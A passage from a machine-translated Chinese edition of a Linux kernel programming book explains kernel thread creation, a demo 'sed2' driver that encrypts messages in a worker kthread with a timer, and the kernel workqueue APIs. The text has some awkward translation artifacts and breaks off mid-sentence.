章*、*内核内部要素–进程和线程*中的*理解和访问内核任务结构*一节中详细介绍了任务结构)。现在,`get_task_struct()`内联函数很重要——它增加传递给它的任务结构的引用计数。这将任务标记为正在使用(稍后,在清理代码中,我们将发出`kthread_stop()`助手例程;它将执行相反的操作,从而减少(并最终释放)任务结构的引用计数)。 - -现在,让我们看看内核线程本身(我们将只显示相关的代码片段): - -```sh -static int simple_kthread(void *arg) -{ - PRINT_CTX(); - if (!current->mm) - pr_info("mm field NULL, we are a kernel thread!\n"); -``` - -`kthread_run()`成功创建内核线程的那一刻,它将开始与系统的其他部分并行运行它的代码:它现在是一个可调度的线程!我们的`PRINT_CTX()`宏揭示了它在进程上下文中运行,确实是一个内核线程。(我们模仿了将其名称括在方括号中的传统,以展示这一点。验证当前`mm`指针为`NULL`的检查也证实了这一点。)可以在*图 5.5* 中看到输出。内核线程例程中的所有代码都将在*进程上下文*中运行;因此,您可以执行阻塞操作(与中断上下文不同)。 - -接下来,默认情况下,内核线程以根所有权运行,所有信号都被屏蔽。然而,作为一个简单的测试案例,我们可以通过`allow_signal()`助手例程打开几个信号。之后,我们简单地循环(我们将很快进入`kthread_should_stop()`例程);在循环体中,我们通过将任务的状态设置为`TASK_INTERRUPTIBLE`(暗示睡眠可以被信号打断)并调用`schedule()`来使自己进入睡眠状态: - -```sh - allow_signal(SIGINT); - allow_signal(SIGQUIT); - - while (!kthread_should_stop()) { - pr_info("FYI, I, kernel thread PID %d, am going to sleep now...\n", - current->pid); - set_current_state(TASK_INTERRUPTIBLE); - schedule(); // yield the processor, go to sleep... - /* Aaaaaand we're back! Here, it's typically due to either the - * SIGINT or SIGQUIT signal hitting us! */ - if (signal_pending(current)) - break; - } -``` - -因此,只有当我们被唤醒时——当你向内核线程发送`SIGINT`或`SIGQUIT`信号时就会发生这种情况——我们才会恢复执行。当这种情况发生时,我们打破循环(注意我们如何首先验证这确实是`signal_pending()`助手例程的情况!).现在,我们的 kthread 在循环之外继续执行,只是(故意地,非常戏剧性地)死去: - -```sh - set_current_state(TASK_RUNNING); - pr_info("FYI, I, kernel thread PID %d, have been rudely awoken; I shall" - " now exit... Good day Sir!\n", current->pid); - return 0; -} -``` - -内核模块的清理代码如下: - -```sh -static void kthread_simple_exit(void) -{ - kthread_stop(gkthrd_ts); /* waits for our kthread to terminate; - * it also internally invokes - * the put_task_struct() to decrement task's - * reference count - */ - pr_info("kthread stopped, and LKM removed.\n"); -} -``` - -在这里,在清理代码路径中,您需要调用`kthread_stop()`,执行必要的清理。在内部,它实际上等待 kthread 死亡(通过`wait_for_completion()`例程)。所以,如果你在没有通过发送`SIGINT`或`SIGQUIT`信号杀死 kthread 的情况下调用`rmmod`,那么`rmmod`过程将会出现在这里;是(这个`rmmod`过程,就是)等待(嗯,`kthread_stop()`真的是那个等待)kthread 死掉!这就是为什么,如果 kthread 还没有信号,这可能会导致问题。 - -应该有更好的方法来处理停止内核线程,而不是从用户空间向它发送信号。确实有:正确的方法是使用`kthread_should_stop()`例程作为它运行的`while`循环的(逆)条件,所以这正是我们要做的!在前面的代码中,我们有以下内容: - -```sh -while (!kthread_should_stop()) { -``` - -`kthread_should_stop()`例程返回一个布尔值,如果 kthread 现在应该停止(终止),则该值为真!在清理代码路径中调用`kthread_stop()`将导致`kthread_should_stop()`返回真,从而导致我们的 kthread 脱离`while`循环并通过简单的`return 0;`终止。该值(`0`)传递回`kthread_stop()`。因此,内核模块成功卸载,*即使没有信号发送到我们的内核线程*。我们将把测试这个案例作为一个简单的练习留给你! - -请注意,`kthread_stop()`的返回值可能很有用:它是一个整数,是运行的线程函数的结果——实际上,它表示您的 kthread 是否成功(返回的`0`)工作。如果你的 kthread 从未被唤醒,它将是有价值的`-EINTR`。 - -## 运行 kthread_simple 内核线程演示 - -现在,让我们试一试(`ch5/kthread_simple`)!我们可以通过`insmod(8)`进行模块插入;模块按计划插入内核。下面截图中显示的内核日志,以及一个快速的`ps`,证明我们全新的内核线程确实已经创建。此外,从代码(`ch5/kthread_simple/kthread_simple.c`)中可以看到,我们的 kthread 使自己进入睡眠状态(将其状态设置为`TASK_INTERRUPTIBLE`,然后调用`schedule()`): - -![](img/9c126689-076e-44b5-9a88-b20b3004f4d4.png) - -Figure 5.5 – A partial screenshot showing that our kernel thread is born, alive – and, well, asleep - -通过名字快速运行我们的内核线程`ps(1) grep`表明我们的 kthread 是活的并且很好(并且睡着了): - -```sh -$ ps -e |grep kt_simple - 11372 ? 00:00:00 llkd/kt_simple -$ -``` - -让我们稍微改变一下,向我们的 kthread 发送`SIGQUIT`信号。这让它醒来(因为我们已经设置了它的信号屏蔽以允许`SIGINT`和`SIGQUIT`信号),将其状态设置为`TASK_RUNNING`,然后,嗯,简单地退出。然后我们使用`rmmod(8)`移除内核模块,如下图所示: - -![](img/c3f089f4-57d3-4048-a739-8fe84c1e7292.png) - -Figure 5.6 – A partial screenshot showing our kernel thread waking up and the module successfully unloaded - -现在您已经理解了如何创建和使用内核线程,让我们继续设计和实现我们的`sed`驱动程序的第二个版本。 - -## sed2 驱动程序-设计和实施 - -在这一节中(正如在*中提到的“sed”驱动程序——演示内核定时器、kthreads 和工作队列*一节),我们将编写`sed1` 驱动程序的下一个进化,称为`sed2`。 - -### sed 2–设计 - -我们的`sed`v2(`sed2`)T4;代码:`ch5/sed2/`)迷你项目和我们的`sed1`项目非常相似。关键区别在于,这一次,我们将通过驱动程序为此目的创建的内核线程来执行“工作”。此版本与上一版本的主要区别如下: - -* 只有一个全局共享内存缓冲区来保存元数据和有效负载;也就是要加密/解密的消息。这是我们的驱动程序上下文结构`struct stMyCtx`中的`struct sed_ds->shmem`成员。 -* 加密/解密的工作现在在内核线程(这个驱动程序产生的)中执行;我们保持内核线程休眠。只有当工作出现时,驱动程序才会唤醒 kthread 并让它消耗(执行)工作。 -* 我们现在在 kthread 的上下文中运行内核计时器,并显示它是否过早过期(表示没有达到截止日期)。 -* 一个快速测试显示,在内核线程的关键部分消除几个`pr_debug()`打印对于减少完成工作所花费的时间大有帮助!(如果您希望消除此开销,您可以随时更改 Makefile 的`EXTRA_CFLAGS`变量来取消`DEBUG`符号的定义(通过使用`EXTRA_CFLAGS += -UDEBUG`)!).因此,这里的截止时间更长(10 毫秒)。 - -因此,简而言之,这里的整个想法主要是演示如何使用一个定制的内核线程以及一个内核定时器来超时一个操作。理解改变整体设计(尤其是用户空间应用与我们的`sed2`驱动程序交互的方式)的一个关键点是,因为我们在内核线程的上下文中运行工作,所以它与`ioctl()`被发布到的进程的上下文不同。因此,认识到以下几点非常重要: - -* 您不能简单地将数据从内核线程的进程上下文转移到用户空间进程——它们是完全不同的(它们运行在不同的虚拟地址空间:用户模式进程有自己完整的 VAS 和 PID 等等;内核线程实际上存在于内核 VAS 中,具有自己的 PID 和内核模式堆栈)。因此,使用`copy_{from|to}_user()`(及类似)例程从 kthread 向用户模式应用进行通信是不可能的。 -* 危险的*比赛*的可能性很大;内核线程相对于用户进程上下文异步运行;因此,如果我们不小心,我们最终会产生与并发相关的错误。这就是本书最后两章的全部原因,在这两章中,我们将介绍内核同步、锁定(以及相关)概念和技术。现在,请耐心等待——我们通过使用一些简单的轮询技巧来代替适当的同步,从而使事情尽可能简单。 - -我们的`sed2`项目中有四个操作: - -* **加密**消息(这也将消息从用户空间获取到驱动程序中;因此,这必须首先完成)。 -* **解密** 的消息。 -* **检索**消息(从司机发送到用户空间 app)。 -* **销毁** 消息(实际上,它被重置了——驱动程序中的内存和元数据被清除了)。 - -重要的是要意识到,由于潜在的种族,我们*不能简单地*将数据直接从 kthread 传输到用户空间 app。因此,我们必须做到以下几点: - -* 我们必须通过发出`ioctl()`系统调用,在用户空间进程的进程上下文中执行检索和销毁操作。 -* 我们必须在我们的内核线程的进程上下文中执行加密和解密操作,相对于用户空间应用是异步的(我们在内核线程中运行它,不是因为我们*必须*而是因为我们想要;这毕竟是这个话题的重点!). - -这个设计可以用一个简单的 ASCII 艺术图来概括: - -![](img/f2d0e4db-7478-467d-b76a-16fcd637e48b.png) - -Figure 5.7 – The high-level design of our sed2 mini-project - -好了,现在来看看`sed2`的相关代码实现。 - -### sed2 驱动程序-代码实现 - -在代码方面,`ioctl()`方法在`sed2` 驱动程序内进行加密操作的代码如下(为清晰起见,这里不显示所有的错误检查代码;我们将只显示最相关的部分)。您可以在`ch5/sed2/`找到完整的代码: - -```sh -// ch5/sed2/sed2_driver/sed2_drv.c -[ ... ] -#if LINUX_VERSION_CODE >= KERNEL_VERSION(2, 6, 36) -static long ioctl_miscdrv(struct file *filp, unsigned int cmd, unsigned long arg) -#else -static int ioctl_miscdrv(struct inode *ino, struct file *filp, unsigned int cmd, unsigned long arg) -#endif -{ - struct stMyCtx *priv = gpriv; - -[ ... ] -switch (cmd) { - case IOCTL_LLKD_SED_IOC_ENCRYPT_MSG: /* kthread: encrypts the msg passed in */ - [ ... ] - if (atomic_read(&priv->msg_state) == XF_ENCRYPT) { // already encrypted? - pr_notice("encrypt op: message is currently encrypted; aborting op...\n"); - return -EBADRQC; /* 'Invalid request code' */ - } - if (copy_from_user(priv->kdata, (struct sed_ds *)arg, sizeof(struct sed_ds))) { - [ ... ] - - POLL_ON_WORK_DONE(1); - /* Wake up our kernel thread and have it encrypt the message ! */ - if (!wake_up_process(priv->kthrd_work)) - pr_warn("worker kthread already running when awoken?\n"); - [ ... ] -``` - -驱动程序在其`ioctl()`方法中执行了几次有效性检查后,开始工作:对于加密操作,我们检查当前有效负载是否已经加密(显然,我们的上下文结构中有一个状态成员被更新以保存该信息;也就是`priv->msg_state`)。如果一切正常,它会从用户空间应用中复制消息(以及`struct sed_ds`中所需的元数据)。然后,它*唤醒我们的内核线程* (通过`wake_up_process()`API;该参数是指向其任务结构的指针,它是来自`kthread_create()`应用编程接口的返回值。这导致内核线程恢复执行! - -In the `init` code, we created the kthread with the `kthread_create()` API (and not the `kthread_run()` macro) as we do *not* want the kthread to run immediately! Instead, we prefer to keep it asleep, only awakening it when work is required of it. This is the typical approach we should follow when employing a worker thread (the so-called manager-worker model). - -我们的`init`方法中的以下代码创建内核线程: - -```sh -static int __init sed2_drv_init(void) -{ - [ ... ] - gpriv->kthrd_work = kthread_create(worker_kthread, NULL, "%s/%s", DRVNAME, KTHREAD_NAME); - if (IS_ERR(gpriv->kthrd_work)) { - ret = PTR_ERR(gpriv->kthrd_work); // it's usually -ENOMEM - dev_err(dev, "kthread creation failed (%d)\n", ret); - return ret; - } - get_task_struct(gpriv->kthrd_work); // inc refcnt, marking the task struct as in use - pr_info("worker kthread created... (PID %d)\n", task_pid_nr(gpriv->kthrd_work)); - [ ... ] -``` - -此后,定时器被初始化(通过`timer_setup()`应用编程接口)。我们的工作线程的(截断的)代码如下所示: - -```sh -static int worker_kthread(void *arg) -{ - struct stMyCtx *priv = gpriv; - - while (!kthread_should_stop()) { - /* Start - the timer; set it to expire in TIMER_EXPIRE_MS ms */ - if (mod_timer(&priv->timr, jiffies + msecs_to_jiffies(TIMER_EXPIRE_MS))) - pr_alert("timer already active?\n"); - priv->t1 = ktime_get_real_ns(); - - /*--------------- Critical section begins --------------------------*/ - atomic_set(&priv->work_done, 0); - switch (priv->kdata->data_xform) { - [ ... ] - case XF_ENCRYPT: - pr_debug("data transform type: XF_ENCRYPT\n"); - encrypt_decrypt_payload(WORK_IS_ENCRYPT, priv->kdata); - atomic_set(&priv->msg_state, XF_ENCRYPT); - break; - case XF_DECRYPT: - pr_debug("data transform type: XF_DECRYPT\n"); - encrypt_decrypt_payload(WORK_IS_DECRYPT, priv->kdata); - atomic_set(&priv->msg_state, XF_DECRYPT); - break; - [ ... ] - priv->t2 = ktime_get_real_ns(); - // work done, cancel the timeout - if (del_timer(&priv->timr) == 0) - [ ... ] -``` - -在这里,您可以看到定时器正在启动(`mod_timer()`),实际的加密/解密函数正在根据需要调用,时间戳正在被捕获,然后内核定时器被取消。这就是发生在`sed1` 中的事情,只不过,这一次(`sed2`)工作发生在我们内核线程的上下文中!然后,内核线程函数通过(如配套指南 *Linux 内核编程-* *第 10 章*、*CPU 调度程序-第 1 部分*、*第 11 章*、*CPU 调度程序-第 2 部分*中所述)将任务状态设置为睡眠状态(`TASK_INTERRUPTIBLE`)并调用`schedule()`来使自己进入睡眠状态,同时让出处理器。 - -等一下–在`ioctl()`方法中,你注意到在内核线程被唤醒之前对`POLL_ON_WORK_DONE(1);`宏的调用了吗?看看下面的代码: - -```sh - [ ... ] - POLL_ON_WORK_DONE(1); - /* Wake up our kernel thread - * and have it encrypt the message ! - */ - if (!wake_up_process(priv->kthrd_work)) - pr_warn("worker kthread already running when awoken?\n"); - /* - * Now, our kernel thread is doing the 'work'; - * it will either be done, or it will miss it's - * deadline and fail. Attempting to lookup the payload - * or do anything more here would be a - * mistake, a race! Why? We're currently running in - * the ioctl() process context; the kernel thread runs - * in it's own process context! (If we must look it up, - * then we really require a (mutex) lock; we shall - * discuss locking in detail in the book's last two chapters. - */ - break; -``` - -轮询被用来避免可能的竞争:如果一个(用户模式)线程调用`ioctl()`来加密给定的消息,同时在另一个 CPU 内核上,另一个用户模式线程调用`ioctl()`来解密给定的消息,会怎么样?这将导致并发问题!同样,本书的最后两章致力于理解和处理这些;但是此时此地,我们能做什么呢?让我们实现一个穷人的同步解决方案:*轮询*。 - -这并不理想,但必须要做。我们将利用这样一个事实,即当工作完成时,驱动程序在驱动程序的上下文结构中设置一个名为`work_done`的原子变量为`1`;其价值是`0`不然。我们在这个宏中对此进行了调查: - -```sh -/* - * Is our kthread performing any ongoing work right now? poll... - * Not ideal (but we'll live with it); ideally, use a lock (we cover locking in - * this book's last two chapters) - */ -#define POLL_ON_WORK_DONE(sleep_ms) do { \ - while (atomic_read(&priv->work_done) == 0) \ - msleep_interruptible(sleep_ms); \ -} while (0) -``` - -为了让这段代码更容易理解,我们没有占用处理器;如果工作还没有完成(还没有),我们会休眠一毫秒(通过`msleep_interruptible()` API)然后再试一次。 - -到目前为止,我们已经介绍了`sed2`的加密和解密功能的相关代码(两者都在我们的 worker kthread 的上下文中运行)。现在,让我们看看剩下的两个功能——检索和销毁消息。这些都是在原始用户空间进程上下文中执行的——发出`ioctl()`系统调用的进程(或线程)。以下是他们的相关代码: - -```sh -// ch5/sed2/sed2_driver/sed2_drv.c : ioctl() method -[ ... ] -case IOCTL_LLKD_SED_IOC_RETRIEVE_MSG: /* ioctl: retrieves the encrypted msg */ - if (atomic_read(&priv->timed_out) == 1) { - pr_debug("the encrypt op had timed out! returning -ETIMEDOUT\n"); - return -ETIMEDOUT; - } - if (copy_to_user((struct sed_ds *)arg, (struct sed_ds *)priv->kdata, sizeof(struct sed_ds))) { - // [ ... error handling ... ] - break; - case IOCTL_LLKD_SED_IOC_DESTROY_MSG: /* ioctl: destroys the msg */ - pr_debug("In ioctl 'destroy' cmd option\n"); - memset(priv->kdata, 0, sizeof(struct sed_ds)); - atomic_set(&priv->msg_state, 0); - atomic_set(&priv->work_done, 1); - atomic_set(&priv->timed_out, 0); -``` - -```sh - priv->t1 = priv->t2 = 0; - break; -[ ... ] -``` - -既然已经看到了(相关)`sed2`代码,那就来试试吧! - -### sed 2–尝试一下 - -让我们通过几个截图来看一下我们的`sed2`迷你项目的运行示例;确保您仔细查看它们: - -![](img/a00d3a39-6d42-400c-aa33-930747f6a037.png) - -Figure 5.8 – Our sed2 mini-project showing off an interactive menu system. Here, a message has been successfully encrypted - -那么,我们已经加密了一条消息,但是我们如何看待它呢?简单:我们用菜单!选择选项`2`检索(加密的)消息(它将被显示供您悠闲地阅读),选择`3`解密它,选择`2`再次查看它,选择`5`查看内核日志–非常有用!以下屏幕截图显示了其中一些选项: - -![](img/35866e17-68c1-4168-abb3-8c5e3c2d856c.png) - -Figure 5.9 – Our sed2 mini-project showing off an interactive menu system. Here, a message has been successfully encrypted - -如内核日志所示,我们的用户模式 app ( `userapp_sed2_dbg_asan`)已经打开了设备并发出了检索操作,几秒钟后接着是加密操作(上一张截图左下角的时间戳帮助您解决了这个问题)。然后,驱动程序唤醒内核线程;可以看到它的 printk 输出,以及`PRINT_CTX()`的输出,这里: - -```sh -[41178.885577] sed2_drv:worker_kthread(): 001) [sed2_drv/worker]:24117 | ...0 /* worker_kthread() */ -``` - -加密操作随后完成(成功且在期限内;计时器被取消): - -```sh -[41178.888875] sed2_drv:worker_kthread(): processing complete, timeout cancelled -``` - -类似地,执行其他操作。我们将避免在这里显示用户空间应用的代码,因为它是一个简单的用户模式“C”程序。这一次(不同寻常的是),是一款交互 app,菜单简单(截图所示);一定要看看。详细阅读理解`sed2` 代码,自己试一试,就交给你了。 - -## 查询和设置内核线程的调度策略/优先级 - -最后,如何查询和/或更改内核线程的调度策略和(实时)优先级?内核为此提供了 API(内核内部经常使用`sched_setscheduler_nocheck()` API)。作为一个实际的例子,内核将需要内核线程来服务中断——我们在[第 4 章](4.html)、*处理硬件中断、*内部实现线程中断*一节中介绍的*线程中断*模型。* - -它创建这些线程(通过`kthread_create()`)并通过`sched_setscheduler_nocheck()`应用编程接口改变它们的调度策略和实时优先级。我们不会在这里明确介绍它们的用法,因为我们已经在配套指南 *Linux 内核编程-* *第 11 章**中央处理器调度程序–第 2 部分*中介绍过了。有趣的是:`sched_setscheduler_nocheck()`应用编程接口只是底层`_sched_setscheduler()`例程的简单包装。为什么呢?`_sched_setscheduler()`应用编程接口根本没有导出,因此模块作者无法使用;`sched_setscheduler_nocheck()`包装器通过`EXPORT_SYMBOL_GPL()`宏导出(暗示只有 GPL 许可的代码才能实际使用!). - -What about querying and/or changing the scheduling policy and (real-time) priority of **user space threads**? The Pthreads library provides wrapper APIs to do just this; the `pthread_[get|set]schedparam(3)` pair can be used here since they're wrappers around system calls such as `sched_[get|set]scheduler(2)` and `sched_[get|set]attr(2)`. They require root access and, for security purposes, have the `CAP_SYS_NICE` capability bit set in the binary executable file. - -Though this book only covers kernel programming, I've mentioned this here as it's a really powerful thing: in effect, the user space app designer/developer has the ability to create and deploy application threads perfectly suited to their purpose: real-time threads at differing scheduling policies, real-time priorities between 1 and 99, non-RT threads (with the base nice value of `0`), and so on. Indiscriminately creating kernel threads is frowned upon, and the reason is clear – every additional kernel thread adds overhead, both in terms of memory and CPU cycles. When you're in the design phase, pause and think: do you really require one or more kernel threads? Or is there a better way of doing things? Workqueues are often exactly that – a better way! - -现在,让我们看看工作队列! - -# 使用内核工作队列 - -一个**工作队列**是内核工作线程创建和管理的一个抽象层。它们有助于解决一个至关重要的问题:直接使用内核线程,尤其是当涉及几个线程时,不仅很困难,而且很容易导致危险的 bug,如争用(从而导致死锁的可能性),以及糟糕的线程管理,从而导致效率损失。工作队列是 Linux 内核中使用的*下半部分*机制(与小任务和软任务一起使用)。 - -Linux 内核中的现代工作队列实现——称为**并发管理工作队列**(**cmwq**)——实际上是一个相当复杂的框架,具有各种基于特定需求动态高效地供应内核线程的策略。 - -In this book, we prefer to focus on the *usage* of the kernel-global workqueue rather than its internal design and implementation. If you'd like to learn more about the internals, I recommend that you read the "official" kernel documentation here: [https://www.kernel.org/doc/Documentation/core-api/workqueue.rst](https://www.kernel.org/doc/Documentation/core-api/workqueue.rst). The *Further reading* section also contains some useful resources. - -工作队列的主要特征如下: - -* 工作队列任务(回调)总是在可抢占的进程上下文中执行。一旦您意识到它们是由运行在可抢占的进程上下文中的内核(工作)线程执行的,这是显而易见的。 -* 默认情况下,所有中断都被使能,并且没有锁定。 -* 上述几点意味着您可以在工作队列函数中进行冗长的、阻塞的、I/O 限制的工作(这与原子上下文(如 hardirq、小任务或 softirq)完全相反!). -* 正如您了解内核线程一样,在用户空间之间传输数据(通过典型的`copy_[to|from]_user()`和类似的例程)是*而不是*可能的;这是因为您的工作队列处理程序(函数)在其自己的进程上下文(内核线程的上下文)中执行。我们知道,内核线程没有用户映射。 -* 内核工作队列框架维护工作池。这些实际上是几个内核工作线程,根据它们的需要以不同的方式组织。内核处理管理它们的所有复杂性,以及并发问题。下面的截图显示了几个工作队列内核工作线程(这是在我的 x86_64 Ubuntu 20.04 来宾虚拟机上拍摄的): - -![](img/3c46ac29-5b59-49ec-bb67-8209b7f52082.png) - -Figure 5.10 – Several kernel threads serving the kernel workqueue's bottom-half mechanism - -正如我们在*创建和使用内核线程*一节中提到的,找出 kthread 的名称并了解 kthread 的许多实际用途(以及如何调整它们以减少抖动)的一种方法是阅读相关的内核文档;也就是说,*减少由于每 CPU kthreads*([https://www . kernel . org/doc/Documentation/kernel-per-CPU-kthreads . txt](https://www.kernel.org/doc/Documentation/kernel-per-CPU-kthreads.txt))造成的操作系统抖动。 - -In terms of how to use workqueues (and the other bottom-half mechanisms), refer back to [*Chapter 4*](4.html), *Handling Hardware Interrupts*, the *Hardirqs, tasklets, and threaded handlers – what to use when* section,especially the table there. - -重要的是要理解内核有一个随时可用的默认工作队列;它被称为 ***内核-全局工作队列*** 或 ***系统工作队列*** 。为了避免给系统带来压力,强烈建议您使用它。我们将使用内核全局工作队列,在上面查询我们的工作任务,并让它消耗我们的工作。 - -您甚至可以使用和创建其他类型的工作队列!内核提供了复杂的 *cmwq* 框架,以及一组 API 来帮助您创建特定类型的工作队列。我们将在下一节中更详细地了解这一点。 - -## 最基本的工作队列内部 - -我们在这里不深入讨论工作队列的内部;事实上,我们将仅仅触及表面(正如我们之前提到的,我们在这里的目的只是专注于使用内核全局工作队列)。 - -总是建议您使用默认的内核全局(系统)工作队列来使用您的异步后台工作。如果这被认为是不够的,不要担心——某些接口会暴露出来,让你创建你的工作队列。(切记这样做会增加系统的压力!)要分配新的工作队列实例,可以使用`alloc_workqueue()`API;这是用于创建(分配)工作队列的主要应用编程接口(通过现代的 *cmwq* 框架): - -```sh -include/linux/workqueue.h -struct workqueue_struct *alloc_workqueue(const char *fmt, unsigned int flags, int max_active, ...); -``` - -请注意,它是通过`EXPORT_SYMBOL_GPL()`导出的,这意味着它只对使用 GPL 许可证的模块和驱动程序可用。`fmt`(以及`max_active`后面的参数)指定如何命名池中的工作队列线程。`flags`参数指定特殊行为值或其他特征的位掩码,例如: - -* 当工作队列在内存压力下需要前进保证时,使用`WQ_MEM_RECLAIM`标志。 -* 当工作项由 kthreads 的工作池以较高的优先级提供服务时,使用`WQ_HIGHPRI`标志。 -* 使用`WQ_SYSFS`标志,通过 sysfs 使用户空间可以看到一些工作队列细节(实际上,在`/sys/devices/virtual/workqueue/`下查看)。 -* 同样,还有其他几个标志。更多详情请看官方内核文档([https://www . kernel . org/doc/Documentation/core-API/workqueue . rst](https://www.kernel.org/doc/Documentation/core-api/workqueue.rst);它提供了一些有趣的内容来减少由于内核中的工作队列执行而导致的“抖动”。 - -`max_active`参数用于指定每个 CPU 可以分配给一个工作项的最大内核线程数。 - -一般来说,有两种类型的工作队列: - -* **单线程** ( **ST** ) **工作队列或有序工作队列**:这里,在整个系统的任何给定时间点,只能有一个线程处于活动状态。它们可以通过`alloc_ordered_workqueue()`来创建(这实际上只是`alloc_workqueue()`的包装,指定了`max_active`精确设置为`1`的有序标志)。 -* **多线程** ( **MT** ) **工作队列**:这是默认选项。确切的`flags`指定行为;`max_active`指定工作项在每个 CPU 上可以拥有的最大工作内核线程数。 - -所有工作队列都可以通过`alloc_workqueue()`应用编程接口创建。创建它们的代码如下: - -```sh -// kernel/workqueue.c -​int __init workqueue_init_early(void) -{ - [ ... ] - system_wq = alloc_workqueue("events", 0, 0); - system_highpri_wq = alloc_workqueue("events_highpri", WQ_HIGHPRI, 0); - system_long_wq = alloc_workqueue("events_long", 0, 0); - system_unbound_wq = alloc_workqueue("events_unbound", WQ_UNBOUND, WQ_UNBOUND_MAX_ACTIVE); - system_freezable_wq = alloc_workqueue("events_freezable", WQ_FREEZABLE, 0); - system_power_efficient_wq = alloc_workqueue("events_power_efficient", WQ_POWER_EFFICIENT, 0); - system_freezable_power_efficient_wq = alloc_workqueue("events_freezable_power_efficient", - WQ_FREEZABLE | WQ_POWER_EFFICIENT, 0); -[ ... ] -``` - -这发生在引导过程的早期(实际上是在早期的 init 内核代码路径中)。第一个用粗体突出显示;这是正在创建的内核全局工作队列或系统工作队列。它的工人池被命名为`events`。(属于这个池的内核线程的名称遵循这个命名约定,并且名称中有单词`events`;再次参见*图 5.10* 。属于其他工作池的 kthreads 也会发生同样的情况。) - -底层框架已经发展了很多;早期的*遗留*工作队列框架(2010 年之前)用于使用`create_workqueue()`和 friends APIs 但是,这些现在被认为是不推荐使用的。有趣的是,现代的**并发管理工作队列** ( **cmwq** )框架(大约从 2010 年开始)与旧框架向后兼容。下表总结了旧工作队列 API 到现代 cmwq API 的映射: - -| **遗留(旧的和不推荐使用的)工作队列应用编程接口** | **现代(cmwq)工作队列 API** | -| `create_workqueue(name)` | `alloc_workqueue(name,WQ_MEM_RECLAIM, 1)` | -| `create_singlethread_workqueue(name)` | `alloc_ordered_workqueue(name, WQ_MEM_RECLAIM)` | -| `create_freezable_workqueue(name)` | `alloc_workqueue(name, WQ_FREEZABLE | WQ_UNBOUND | WQ_MEM_RECLAIM, 1)` | - -Table 5.3 – Mapping of the older workqueue APIs to the modern cmwq ones - -下图(以简单的概念性方式)总结了内核工作队列子系统: - -![](img/6a2e40f7-3546-45d4-843f-520afe0c298b.png) - -Figure 5.11 – A simple conceptual view of the workqueue subsystem within the kernel - -内核的工作队列框架动态维护这些(内核线程的)工作池;有些,如`events`工作队列(对应内核-全局工作队列)是通用的,而另一些则是为特定目的而创建和维护的(根据其内核线程的名称,如块 I/O、`kworker*blockd`、内存控制、`kworker*mm_percpu_wq`、设备特定的,如 tpm、`tpm_dev_wq`、CPU 频率调节器驱动程序、`devfreq_wq`等)。 - -请注意,内核工作队列子系统自动、优雅且高效地维护所有这些工作队列(及其相关的内核线程工作池)。 - -那么,你实际上如何利用工作队列呢?下一节将向您展示如何使用内核全局工作队列。接下来是一个演示内核模块,它清楚地展示了它的用法。 - -## 使用内核全局工作队列 - -在本节中,我们将学习如何使用内核全局(也称为系统或事件工作队列,这是默认的)工作队列。这通常包括用您的工作任务初始化工作队列,让它消耗您的工作,最后执行清理。 - -### 为您的任务初始化内核全局工作队列–INIT _ WORK() - -将工作排入这个工作队列实际上非常容易:使用`INIT_WORK()`宏!这个宏有两个参数: - -```sh -#include -INIT_WORK(struct work_struct *_work, work_func_t _func); -``` - -`work_struct`结构是工作队列的主力结构(至少从模块/驱动作者的角度来看);您将为它分配内存,并将指针作为第一个参数传递。`INIT_WORK()`的第二个参数是指向工作队列回调函数的指针,该函数将被工作队列的工作线程使用!`work_func_t`是指定此功能签名的`typedef`,即`void (*work_func_t)(struct work_struct *work)`。 - -### 让您的工作任务执行–schedule _ work() - -调用`INIT_WORK()`向内部默认的内核全局工作队列注册指定的工作结构和功能。但是它还没有执行它——还没有!您必须通过在适当的时候调用`schedule_work()`应用编程接口来告诉它何时执行您的“工作”: - -```sh -bool schedule_work(struct work_struct *work); -``` - -很明显,`schedule_work()`的参数是指向`work_struct`结构的指针(您之前通过`INIT_WORK()`宏初始化了该结构)。它返回一个布尔值(直接引用来源):`%false if @work was already on the kernel-global workqueue and %true otherwise True`。实际上,`schedule_work()`检查指定的函数(通过工作结构)是否已经在内核全局工作队列中;如果没有,它就在那里排队;如果它已经在那里了,它就把它单独留在同一个位置(它不会再添加一个实例)。然后,它标记要执行的工作项。这通常会在对应于工作队列的底层内核线程被调度后立即发生,从而为您提供了运行工作的机会。 - -To have two work items (functions) within your module or driver execute via the (default) kernel-global workqueue, simply call the `INIT_WORK()` macro twice, each time passing different work structures and functions. Similarly, for more work items, call `INIT_WORK()` for each of them... (For example, take this kernel block driver (`drivers/block/mtip32xx/mtip32xx.c`): apparently, for Micron PCIe SSDs, it calls `INIT_WORK()` eight times in a row (!) with its probe method, using arrays to hold all the items). - -注意可以在原子上下文中调用`schedule_work()`!呼叫是非阻塞的;它只是安排工作项在稍后的、延迟的(并且安全的)时间点被使用,此时它将在流程上下文中运行。 - -#### 安排工作任务的不同方式 - -我们刚才描述的`schedule_work()` API 有一些变体,所有这些都可以通过`schedule[_delayed]_work[_on]()`API 获得。让我们简单列举一下。首先来看看`schedule_delayed_work()`内联函数,其签名如下: - -```sh -bool schedule_delayed_work(struct delayed_work *dwork, unsigned long delay); -``` - -当您想要将工作队列处理程序函数的执行延迟指定的时间量时,请使用此例程;第二个参数`delay`,是你要等待的`jiffies`的个数。现在,我们知道`jiffies`变量每秒增加`HZ`次;因此,要让您的工作任务延迟`n`秒,请指定`n * jiffies`。同样,您可以始终将`msecs_to_jiffies(n)`值作为第二个参数传递,让它从现在开始执行`n`毫秒。 - -接下来,注意第一个参数`schedule_delayed_work()`不同;这是一个`delayed_work`结构,它本身包含现在熟悉的`work_struct`结构作为一个成员,以及其他内务成员(一个内核定时器、一个指向工作队列结构的指针和一个中央处理器号)。要初始化它,只需给它分配内存,然后使用`INIT_DELAYED_WORK()`宏(语法与`INIT_WORK()`相同);它将处理所有初始化。 - -主题上的另一个细微变化是`schedule[_delayed]_work_on()`套路;名称中的`on`允许您指定您的工作任务在执行时将被安排在哪个 CPU 核心上。以下是`schedule_delayed_work_on()`内联函数的签名: - -```sh -bool schedule_delayed_work_on(int cpu, struct delayed_work *dwork, unsigned long delay); -``` - -第一个参数指定执行工作任务的中央处理器内核,而其余两个参数与`schedule_delayed_work()`例程的参数相同。(您可以使用`schedule_delayed_work()`例程在给定的中央处理器内核上立即安排您的任务)。 - -### 清理–取消或刷新工作任务 - -在某些时候,您可能希望确保您的工作任务已经实际完成执行。您可能希望在销毁您的工作队列之前这样做(假设它是一个自定义创建的工作队列,而不是内核全局工作队列),或者更有可能的是,在 LKM 或驱动程序的清理方法中使用内核全局工作队列时。这里使用的典型 API 是`cancel_[delayed_]work[_sync]()`。其变体和签名如下: - -```sh -bool 